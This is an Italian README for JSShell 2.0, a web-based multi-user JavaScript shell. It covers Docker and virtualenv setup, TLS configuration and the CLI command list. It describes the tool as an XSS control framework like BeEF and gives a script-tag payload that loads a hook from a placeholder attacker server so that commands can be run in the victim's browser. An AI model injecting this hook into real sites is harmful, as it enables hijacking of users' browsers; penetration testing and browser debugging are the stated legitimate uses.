
Una shell web JS interattiva multiutente
Una shell JavaScript interattiva multi-utente basata sul web. È stata creata inizialmente per eseguire il debug di browser esoterici remoti durante esperimenti e ricerche. Questo strumento può essere facilmente allegato a payload XSS (Cross Site Scripting) per ottenere l'esecuzione remota di codice nel browser (simile al framework BeeF).
La versione 2.0 è stata creata interamente da zero, introducendo nuove entusiasmanti funzionalità, stabilità e manutenibilità.
<script>Nella directory resources, aggiorna il file config.json con la configurazione desiderata:
docker, imposta l'host del database come db (che è il nome host interno).shell.js effettua alcune chiamate AJAX per registrarsi e interrogare nuovi comandi. Di solito sarà http[s]://{YOUR_SERVER_IP}:{PORT}.Ora JSShell supporta TLS, il che significa che puoi generare certificati TLS e fornirli al server web. Il server web dedurrà il nome di dominio dal file config.json. Per creare il certificato, utilizza lo script create_cert.py nella cartella scripts:
$ cd scripts
$ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
Si prega di notare che il server web deve essere fermo affinché lo script funzioni correttamente. A questo punto, abbiamo generato con successo i nostri certificati! Le uniche modifiche che dobbiamo apportare sono:
config.json, cambia lo schema del campo URL in https.docker-compose.yml, cambia la porta esposta del contenitore web a 443.Questa nuova versione supporta l'installazione e l'esecuzione di JSShell tramite docker e docker-compose. Ora, per installare ed eseguire l'intero framework JSShell, esegui semplicemente:
$ ./scripts/start_docker_shell.sh
Questo:
JSShellSe preferisci ancora utilizzare il metodo di installazione tradizionale, assicurati di avere un database MongoDB attivo e funzionante, e aggiorna il file config.json situato nella directory resources.
Raccomando di utilizzare un ambiente virtuale con pyenv:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
Oppure utilizzando virtualenv:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Quindi, installa i requisiti:
$ pip install -r requirements.txt
Se hai utilizzato il metodo docker, non è necessario eseguire la procedura seguente.
Altrimenti, una volta impostato il database, dobbiamo avviare il server API web. Per farlo, esegui:
$ python manage.py web
Questo creerà e avvierà un server web che ascolta le connessioni in entrata e serve il nostro codice JSShell.
Ora per avviare la CLI di JSShell, esegui lo stesso script ma con il flag shell:
$ python manage.py shell
Dopo la configurazione e l'esecuzione dei componenti richiesti, inserisci il comando help per vedere i comandi disponibili:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell supporta 2 metodi di funzionamento:
Simile ad altri framework di controllo XSS (come BeeF), JSShell è in grado di gestire con successo exploit XSS. Ad esempio, se puoi iniettare un tag script, inietta la seguente risorsa nel tuo payload, e un nuovo client apparirà nella tua console:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Se desideri eseguire il debug di browser esotici e di nicchia, puoi semplicemente navigare a http[s]://{YOUR_SERVER_IP}:{PORT}/ e un nuovo client apparirà nel tuo client CLI JSShell. Ora è debuggabile tramite la console JSShell.
Canop per JSON.prune